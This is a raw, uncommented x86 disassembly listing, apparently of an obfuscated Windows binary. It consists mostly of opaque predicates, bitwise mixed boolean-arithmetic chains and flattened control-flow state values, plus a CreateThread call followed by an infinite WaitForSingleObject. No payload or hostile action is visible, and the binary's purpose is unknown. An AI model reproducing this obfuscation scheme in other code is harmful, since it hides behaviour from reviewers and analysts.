mov eax, 0x3f83ace
mov ecx, 0xb147788c
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x47044a
mov eax, 0x96a5e5ca
mov ecx, 0x59c96fe1
mov dl, 1
mov esi, 0xe7dc04a4
xor edi, edi
mov ebx, dword [0x4a4094]
mov dword [ebp - 0x270], eax
mov eax, dword [0x4a4098]
mov dword [ebp - 0x274], eax
mov eax, edi
sub eax, 0x91cd97f4
add eax, 0
sub eax, 0xd4720f9e
sub eax, 1
add eax, 0xd4720f9e
add eax, 0xb3a36afc
add eax, 0x91cd97f4
sub eax, 0xb3a36afc
mov dword [ebp - 0x278], eax
mov eax, edi
sub eax, 0x4e82146a
sub eax, ebx
add eax, 0x4e82146a
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x278]
sub edi, eax
add edi, 0
mov eax, dword [ebp - 0x27c]
add eax, 0x780fed52
add eax, edi
sub eax, 0x780fed52
add esi, 0
sub esi, eax
sub esi, 0xe7dc04a4
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x274]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
mov byte [ebp - 0x27d], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dl
xor al, 1
xor ah, 0xff
mov bl, dl
xor bl, 0
or al, ah
or bl, 0
xor al, 0xff
and al, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
and bl, 1
or ah, bl
mov bl, dh
xor bl, 0xff
xor ah, 0xff
mov bh, dl
xor bh, 1
or bl, ah
or bh, 1
xor bl, 0xff
and bl, bh
mov ah, al
and ah, bl
xor al, bl
or ah, al
mov al, byte [ebp - 0x27d]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x27d]
and bh, bl
or al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, byte [ebp - 0x27d]
xor bh, 0xff
xor bl, 0xff
mov byte [ebp - 0x27e], al
mov al, dl
xor al, 1
or bh, bl
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x27e]
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x27f], al
mov al, dl
xor al, 0
mov byte [ebp - 0x280], al
mov al, byte [ebp - 0x27f]
and al, 0
mov byte [ebp - 0x281], al
mov al, byte [ebp - 0x27e]
mov dword [ebp - 0x288], ecx
mov cl, byte [ebp - 0x280]
and al, cl
mov ch, bl
and ch, 0
and bh, cl
mov cl, byte [ebp - 0x281]
or cl, al
or ch, bh
xor cl, ch
mov al, byte [ebp - 0x27f]
or al, bl
xor al, 0xff
mov ch, byte [ebp - 0x280]
or ch, 0
and al, ch
or cl, al
mov al, dl
xor al, 1
and al, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, dl
xor ch, 1
xor al, 0xff
mov bl, dl
xor bl, 0
or ch, al
or bl, 0
xor ch, 0xff
and ch, bl
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x289], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x28a], al
mov al, byte [ebp - 0x289]
or al, bh
mov bh, byte [ebp - 0x28a]
or bh, bl
xor al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, ch
and bl, al
xor ch, al
or bl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov bh, ah
and bh, ch
or al, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bh, dl
xor bh, 1
and bh, 1
or ch, bh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0x28b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x28c], al
and al, 1
mov byte [ebp - 0x28d], al
mov al, dl
xor al, 1
and al, 0xff
mov byte [ebp - 0x28e], al
mov al, byte [ebp - 0x28c]
and al, 1
mov byte [ebp - 0x28f], al
mov al, byte [ebp - 0x28d]
or bh, al
mov al, byte [ebp - 0x28e]
mov byte [ebp - 0x290], cl
mov cl, byte [ebp - 0x28f]
or al, cl
xor bh, al
mov al, byte [ebp - 0x28b]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x291], al
mov al, dl
xor al, 1
mov byte [ebp - 0x292], al
mov al, byte [ebp - 0x291]
and al, 0xff
mov byte [ebp - 0x293], al
mov al, byte [ebp - 0x28b]
mov byte [ebp - 0x294], cl
mov cl, byte [ebp - 0x292]
and al, cl
mov cl, byte [ebp - 0x294]
and cl, 0xff
mov byte [ebp - 0x295], al
mov al, byte [ebp - 0x292]
and ch, al
mov al, byte [ebp - 0x293]
mov byte [ebp - 0x296], cl
mov cl, byte [ebp - 0x295]
or al, cl
mov cl, byte [ebp - 0x296]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x291]
mov ch, byte [ebp - 0x294]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x292]
or ch, 1
and cl, ch
or al, cl
mov cl, bh
and cl, 1
xor bh, 1
or cl, bh
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
and al, bh
mov byte [ebp - 0x297], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x298], al
mov al, byte [ebp - 0x297]
or ch, al
mov al, byte [ebp - 0x298]
or al, bh
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, bl
and bh, cl
or al, bh
mov cl, dh
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x299], al
mov al, dh
and al, bh
mov byte [ebp - 0x29a], al
mov al, byte [ebp - 0x299]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x29b], al
mov al, byte [ebp - 0x299]
and al, bh
mov bh, byte [ebp - 0x29a]
or cl, bh
mov bh, byte [ebp - 0x29b]
or bh, al
xor cl, bh
xor cl, 0xff
xor dh, 0xff
mov al, dl
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x290]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x290]
and bh, dh
mov byte [ebp - 0x29c], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x29d], al
mov al, byte [ebp - 0x29c]
or al, bh
mov bh, byte [ebp - 0x29d]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
and bh, 1
or dh, bh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0x29e], al
mov al, dl
xor al, 1
and al, 1
or bh, al
mov al, byte [ebp - 0x29e]
xor al, 0xff
mov byte [ebp - 0x29f], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x2a0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2a1], al
mov al, byte [ebp - 0x29f]
and al, 0xff
mov byte [ebp - 0x2a2], al
mov al, byte [ebp - 0x29e]
mov byte [ebp - 0x2a3], cl
mov cl, byte [ebp - 0x2a1]
and al, cl
mov cl, byte [ebp - 0x2a0]
and cl, 0xff
mov byte [ebp - 0x2a4], al
mov al, byte [ebp - 0x2a1]
and dh, al
mov al, byte [ebp - 0x2a2]
mov byte [ebp - 0x2a5], cl
mov cl, byte [ebp - 0x2a4]
or al, cl
mov cl, byte [ebp - 0x2a5]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x29f]
mov dh, byte [ebp - 0x2a0]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x2a1]
or dh, 1
and cl, dh
or al, cl
mov cl, dl
xor cl, 1
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x2a6], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2a7], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2a8], al
mov al, byte [ebp - 0x2a7]
and al, 1
mov byte [ebp - 0x2a9], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x2aa], al
mov al, byte [ebp - 0x2a7]
and bh, al
mov al, byte [ebp - 0x2a8]
mov byte [ebp - 0x2ab], cl
mov cl, byte [ebp - 0x2a9]
or al, cl
mov cl, byte [ebp - 0x2aa]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2ab]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x2a7]
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0x2a6]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x2a6]
and bh, dh
or cl, bh
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x27d]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x27d]
and bh, cl
or al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2ac], al
mov al, bl
and al, bh
or cl, al
mov al, dl
xor al, 1
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2ad], al
mov al, bh
and al, 1
mov byte [ebp - 0x2ae], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2af], al
mov al, byte [ebp - 0x2ad]
mov byte [ebp - 0x2b0], cl
mov cl, byte [ebp - 0x2ae]
or al, cl
mov cl, byte [ebp - 0x2af]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2ac]
mov bh, byte [ebp - 0x2b0]
and cl, bh
mov bh, byte [ebp - 0x2ac]
mov byte [ebp - 0x2b1], al
mov al, byte [ebp - 0x2b0]
xor bh, al
or cl, bh
mov bh, dl
xor bh, 1
mov al, byte [ebp - 0x2b1]
xor al, 0xff
mov byte [ebp - 0x2b2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b3], al
mov al, bh
and al, 0
mov byte [ebp - 0x2b4], al
mov al, byte [ebp - 0x2b3]
and al, 1
mov byte [ebp - 0x2b5], al
mov al, byte [ebp - 0x2b2]
and al, 0
mov byte [ebp - 0x2b6], al
mov al, byte [ebp - 0x2b1]
mov byte [ebp - 0x2b7], cl
mov cl, byte [ebp - 0x2b3]
and al, cl
mov cl, byte [ebp - 0x2b4]
mov byte [ebp - 0x2b8], al
mov al, byte [ebp - 0x2b5]
or cl, al
mov al, byte [ebp - 0x2b6]
mov byte [ebp - 0x2b9], cl
mov cl, byte [ebp - 0x2b8]
or al, cl
mov cl, byte [ebp - 0x2b9]
xor cl, al
mov al, byte [ebp - 0x2b2]
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x2b3]
or al, 0
and bh, al
or cl, bh
mov al, byte [ebp - 0x2b7]
xor al, 0xff
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2ba], al
mov al, byte [ebp - 0x2b7]
and al, bh
mov byte [ebp - 0x2bb], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2bc], al
mov al, byte [ebp - 0x2ba]
mov byte [ebp - 0x2bd], cl
mov cl, byte [ebp - 0x2bb]
or al, cl
mov cl, byte [ebp - 0x2bc]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2bd]
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, byte [ebp - 0x2a3]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, ch
xor al, 0xff
mov byte [ebp - 0x2be], al
mov al, byte [ebp - 0x2a3]
mov byte [ebp - 0x2bf], cl
mov cl, byte [ebp - 0x2be]
and al, cl
mov cl, byte [ebp - 0x2a3]
xor cl, 0xff
and ch, cl
or al, ch
mov cl, byte [ebp - 0x2bf]
and cl, al
mov ch, byte [ebp - 0x2bf]
xor ch, al
or cl, ch
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x2c0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2c1], al
mov al, byte [ebp - 0x2c0]
or al, ch
mov ch, byte [ebp - 0x2c1]
or ch, 1
xor al, 0xff
and al, ch
mov ch, dh
xor ch, 0xff
mov byte [ebp - 0x2c2], al
mov al, bh
and al, ch
xor bh, 0xff
and dh, bh
or al, dh
mov ch, byte [ebp - 0x2c2]
and ch, al
mov dh, byte [ebp - 0x2c2]
xor dh, al
or ch, dh
mov al, cl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, cl
and bh, dh
mov byte [ebp - 0x2c3], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x2c4], al
mov al, byte [ebp - 0x2c3]
or al, bh
mov bh, byte [ebp - 0x2c4]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 1
xor al, 0xff
mov bh, dl
xor bh, 0
or dh, al
or bh, 0
xor dh, 0xff
and dh, bh
mov al, dl
xor al, 1
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2c5], al
mov al, bh
and al, 1
mov byte [ebp - 0x2c6], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2c7], al
mov al, byte [ebp - 0x2c5]
mov byte [ebp - 0x2c8], cl
mov cl, byte [ebp - 0x2c6]
or al, cl
mov cl, byte [ebp - 0x2c7]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2c8]
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x2c9], al
mov al, dl
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2ca], al
mov al, ch
and al, bh
mov byte [ebp - 0x2cb], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2cc], al
mov al, byte [ebp - 0x2ca]
mov byte [ebp - 0x2cd], cl
mov cl, byte [ebp - 0x2cb]
or al, cl
mov cl, byte [ebp - 0x2cc]
or cl, bh
xor al, cl
xor al, 0xff
mov cl, dl
xor cl, 1
mov bh, dl
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, byte [ebp - 0x2c9]
xor cl, 0xff
mov bh, ch
xor bh, cl
and bh, ch
mov cl, dh
mov ch, byte [ebp - 0x2cd]
and cl, ch
xor dh, ch
or cl, dh
mov dh, al
and dh, bh
xor al, bh
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and cl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or al, cl
or ch, dh
xor al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, byte [ebp - 0x290]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x290]
and bh, dh
or ch, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
and bh, 1
or dh, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2ce], al
mov al, cl
xor al, bh
and al, cl
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x2cf], al
mov al, dl
xor al, 0
or ah, bh
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, al
and bh, ch
mov al, byte [ebp - 0x290]
xor al, 0xff
mov byte [ebp - 0x2d0], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x2d1], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2d2], al
mov al, byte [ebp - 0x2d0]
mov byte [ebp - 0x2d3], cl
mov cl, byte [ebp - 0x2d1]
or al, cl
mov cl, byte [ebp - 0x2d2]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2cf]
and cl, ah
mov byte [ebp - 0x2d4], al
mov al, byte [ebp - 0x2cf]
xor al, ah
or cl, al
mov al, bh
xor al, 0xff
mov ah, byte [ebp - 0x2d4]
xor ah, 0xff
mov byte [ebp - 0x2d5], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2d6], al
mov al, byte [ebp - 0x2d5]
and al, 0xff
mov byte [ebp - 0x2d7], al
mov al, byte [ebp - 0x2d6]
and bh, al
mov al, ah
and al, 0xff
mov byte [ebp - 0x2d8], al
mov al, byte [ebp - 0x2d4]
mov byte [ebp - 0x2d9], cl
mov cl, byte [ebp - 0x2d6]
and al, cl
mov cl, byte [ebp - 0x2d7]
or cl, bh
mov bh, byte [ebp - 0x2d8]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x2d5]
or al, ah
xor al, 0xff
mov ah, byte [ebp - 0x2d6]
or ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x2d9]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov bh, byte [ebp - 0x2d9]
and bh, ah
mov byte [ebp - 0x2da], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
mov ah, byte [ebp - 0x2da]
or ah, bh
or al, cl
xor ah, al
mov al, byte [ebp - 0x2d3]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2db], al
and al, 0xff
mov byte [ebp - 0x2dc], al
mov al, byte [ebp - 0x2d3]
and al, bh
mov byte [ebp - 0x2dd], al
mov al, cl
and al, 0xff
and ch, bh
mov byte [ebp - 0x2de], al
mov al, byte [ebp - 0x2dc]
mov byte [ebp - 0x2df], cl
mov cl, byte [ebp - 0x2dd]
or al, cl
mov cl, byte [ebp - 0x2de]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x2db]
mov ch, byte [ebp - 0x2df]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
and al, bh
mov ch, dl
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
or ch, bh
xor cl, ch
mov al, dl
xor al, 1
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2e0], al
and al, 0xff
mov byte [ebp - 0x2e1], al
mov al, bh
and al, 1
mov byte [ebp - 0x2e2], al
mov al, ch
and al, 0xff
and dh, bh
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e1]
mov byte [ebp - 0x2e4], cl
mov cl, byte [ebp - 0x2e2]
or al, cl
mov cl, byte [ebp - 0x2e3]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x2e0]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x2e4]
xor cl, 0xff
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
and ah, dh
mov byte [ebp - 0x2e5], al
mov al, ch
and al, 0xff
and cl, dh
or bh, ah
or al, cl
xor bh, al
mov al, byte [ebp - 0x2e5]
or al, ch
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, bh
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov ah, bh
xor ah, cl
and ah, bh
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, cl
and bh, 0xff
and al, dh
mov byte [ebp - 0x2e6], al
mov al, ch
and al, 0xff
and ah, dh
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e6]
or bh, al
mov al, byte [ebp - 0x2e7]
or al, ah
xor bh, al
or cl, ch
xor cl, 0xff
or dh, 1
and cl, dh
or bh, cl
mov al, dl
xor al, 1
mov cl, bl
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, dl
xor cl, 1
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, ah
or cl, ch
or dh, bl
xor cl, dh
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, ah
and bl, 0xff
and al, dh
mov byte [ebp - 0x2e8], al
mov al, ch
and al, 0xff
and cl, dh
mov byte [ebp - 0x2e9], al
mov al, byte [ebp - 0x2e8]
or bl, al
mov al, byte [ebp - 0x2e9]
or al, cl
xor bl, al
or ah, ch
xor ah, 0xff
or dh, 1
and ah, dh
or bl, ah
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, bh
or ah, cl
xor al, ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bl, ah
or cl, bl
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, ch
and bh, 0xff
and al, bl
mov byte [ebp - 0x2ea], al
mov al, dh
and al, 0xff
and cl, bl
mov byte [ebp - 0x2eb], al
mov al, byte [ebp - 0x2ea]
or bh, al
mov al, byte [ebp - 0x2eb]
or al, cl
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 1
and ch, bl
or bh, ch
mov al, dl
xor al, 1
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
mov bl, ch
and bl, 1
mov byte [ebp - 0x2ec], al
mov al, cl
and al, 0xff
and ah, ch
or dh, bl
or al, ah
xor dh, al
mov al, byte [ebp - 0x2ec]
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, bh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0
and cl, 1
or al, bh
or ah, cl
xor al, ah
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov al, byte [ebp - 0x2ce]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x2ce]
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, byte [ebp - 0x2ce]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x2ed], al
mov al, dl
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 1
mov bh, ah
xor bh, al
and bh, ah
xor cl, 0xff
mov al, ch
xor al, 0xff
mov byte [ebp - 0x2ee], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2ef], al
mov al, byte [ebp - 0x2ee]
or cl, al
mov al, byte [ebp - 0x2ef]
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
and al, dh
xor bl, dh
or al, bl
mov dh, bh
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x2f0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2f1], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x2f2], al
mov al, byte [ebp - 0x2f1]
and bh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x2f3], al
mov al, byte [ebp - 0x2f1]
and cl, al
mov al, byte [ebp - 0x2f2]
or al, bh
mov bh, byte [ebp - 0x2f3]
or bh, cl
xor al, bh
or dh, bl
xor dh, 0xff
mov cl, byte [ebp - 0x2f1]
or cl, 1
and dh, cl
or al, dh
mov cl, byte [ebp - 0x2f0]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0x2f0]
and cl, al
or dh, cl
mov al, byte [ebp - 0x2ed]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x2f4], al
mov al, byte [ebp - 0x2ed]
and al, bl
mov byte [ebp - 0x2f5], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x2f6], al
mov al, byte [ebp - 0x2f5]
or bh, al
mov al, byte [ebp - 0x2f6]
or al, ah
xor bh, al
mov al, byte [ebp - 0x2f4]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, dl
xor cl, 1
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x2f7], al
mov al, bl
and al, 1
mov byte [ebp - 0x2f8], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x2f9], al
mov al, byte [ebp - 0x2f8]
or bh, al
mov al, byte [ebp - 0x2f9]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x2f7]
xor al, 0xff
xor bh, 0xff
xor dl, 1
or al, bh
or dl, 1
xor al, 0xff
and al, dl
mov cl, dh
and cl, al
xor dh, al
or cl, dh
test cl, 1
mov esi, dword [ebp - 0x270]
mov edi, dword [ebp - 0x288]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x300], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x304], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov ecx, 0x96a5e5ca
mov edx, 0xa3005360
mov bl, 1
xor esi, esi
mov edi, 0x46810d5
mov dword [ebp - 0x308], eax
mov eax, dword [0x4a4094]
mov dword [ebp - 0x30c], eax
mov eax, dword [0x4a4098]
mov dword [ebp - 0x310], eax
mov eax, esi
mov dword [ebp - 0x314], ecx
mov ecx, dword [ebp - 0x30c]
sub eax, ecx
mov ecx, esi
sub ecx, 0x7fd86077
add eax, ecx
mov ecx, esi
sub ecx, eax
sub ecx, 0xdca1d856
add ecx, 0x86839dbf
add ecx, 0xdca1d856
add ecx, 0xb032a987
sub ecx, 0x7fd86077
sub ecx, 0xb032a987
add ecx, 0xed9891dd
sub ecx, 0x97b3783e
sub ecx, 0xed9891dd
sub ecx, 0x7859b8b3
sub ecx, 1
add ecx, 0x7859b8b3
sub ecx, 0x60850ff5
add ecx, 0x97b3783e
add ecx, 0x60850ff5
add edi, 0
sub edi, 0x86839dbf
sub edi, 0x46810d5
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, edi
add eax, ecx
sub esi, eax
mov eax, dword [ebp - 0x30c]
imul eax, esi
and eax, 1
cmp eax, 0
sete bh
mov eax, dword [ebp - 0x310]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x315], al
and al, ch
or cl, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x316], al
mov al, ch
and al, 1
mov byte [ebp - 0x317], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x318], al
mov al, byte [ebp - 0x316]
mov byte [ebp - 0x319], cl
mov cl, byte [ebp - 0x317]
or al, cl
mov cl, byte [ebp - 0x318]
or cl, ch
xor al, cl
mov cl, ah
mov ch, byte [ebp - 0x319]
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, bl
xor ch, 0
and cl, ch
mov byte [ebp - 0x31a], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x31b], al
mov al, byte [ebp - 0x31a]
or al, cl
mov cl, byte [ebp - 0x31b]
or cl, ch
xor al, cl
xor al, 0xff
xor ah, 0xff
mov cl, bl
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov ch, bh
and ch, ah
mov byte [ebp - 0x31c], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
